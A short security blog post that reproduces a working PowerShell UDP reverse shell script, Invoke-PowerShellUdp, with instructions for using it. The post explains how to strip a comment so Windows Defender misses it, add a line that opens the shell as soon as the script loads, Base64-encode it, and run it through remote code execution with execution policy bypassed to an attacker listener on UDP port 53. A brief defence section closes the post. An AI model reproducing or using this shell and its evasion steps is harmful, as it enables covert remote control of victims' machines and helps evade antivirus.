My post is really to remind myself that this exists. The hard work was done on labofapenetrationtester.com back in 2015. I found that this worked for me well.

First the code from that blog (only slightly modified):

function Invoke-PowerShellUdp
{         
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    #Connect back if the reverse switch is used.
    if ($Reverse)
    {
        $endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPAddress),$Port)
        $client = New-Object System.Net.Sockets.UDPClient
    }

    #Bind to the provided port if Bind switch is used.
   if ($Bind)
    {
        $endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::ANY,$Port)
        $client = New-Object System.Net.Sockets.UDPClient($Port)
        $client.Receive([ref]$endpoint)
    }

    [byte[]]$bytes = 0..255|%{0}

    #Send back current username and computername
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $client.Send($sendbytes,$sendbytes.Length,$endpoint)

    #Show an interactive PowerShell prompt
    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS (' + [System.Diagnostics.Process]::GetCurrentProcess().Id + ') ' + (Get-Location).Path + '>')
    $client.Send($sendbytes,$sendbytes.Length,$endpoint)
    
    while($true)
    {
        $receivebytes = $client.Receive([ref]$endpoint)
        $returndata = ([text.encoding]::ASCII).GetString($receivebytes)
        $result = (Invoke-Expression -Command $returndata 2>&1 | Out-String )

        $sendback = $result +  'PS (' + [System.Diagnostics.Process]::GetCurrentProcess().Id + ') ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback + $x

        #Send results back
        $sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2)
        $client.Send($sendbytes,$sendbytes.Length,$endpoint)
    }
    $client.Close()
}
Invoke-PowerShellUdp -Reverse -IPAddress <YOUR_IP> -Port 53;

Note 1: if you use the code from the git repository it will be caught by Windows Defender because of the comment at the top. So I have used the above successfully and confirmed it worked on 08/09/2022.

Note 2: The last line (starting “Invoke-PowerShellUdp ..” was added by me to actually trigger execution of a UDP reverse shell when the script is loaded. In my situation we had RCE in an application but did not want to write the payload to disk if we could avoid it. By making sure the shell established as it was loaded was essential. You must set the IP address to your ncat listener’s IP address. Do not use a DNS name.

Note 3: Due to the unreliability of UDP shells I have added the process ID to the shell prompt inside round brackets. You can establish another shell when a connection dies but remember to kill previous processes or you are going to be noisier than you intended.

I saved that code into a file called “Invoke-PowerShellUdp.ps1” onto my PC. Then used the command below to Base64 encode that file properly:

$Base64 = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes([System.IO.File]::ReadAllText("C:\FULL_PATH_TO\Invoke-PowerShellUdp.ps1")))

Note: other ways to Base64 encode may work too. But I definitely know that this bit of PowerShell is compatible with the next step.

On your server establish a netcat listener on UDP port 53:

Via your RCE ensure that this command is run:

powershell.exe -ExecutionPolicy Bypass -EncodedCommand <your_base64>

This will establish your shell over UDP port 53.

Defending against this

Firewall rules to prevent UDP traffic outbound over port 53. Your internal name servers need to do this but a workstation or laptop does not need that ability.

Traffic inspection would also be able to detect obvious unencrypted reverse shells if they were doing so.

Anti-Virus will eventually catch the exact payload as used in this blog so it is always worth having a solution enabled.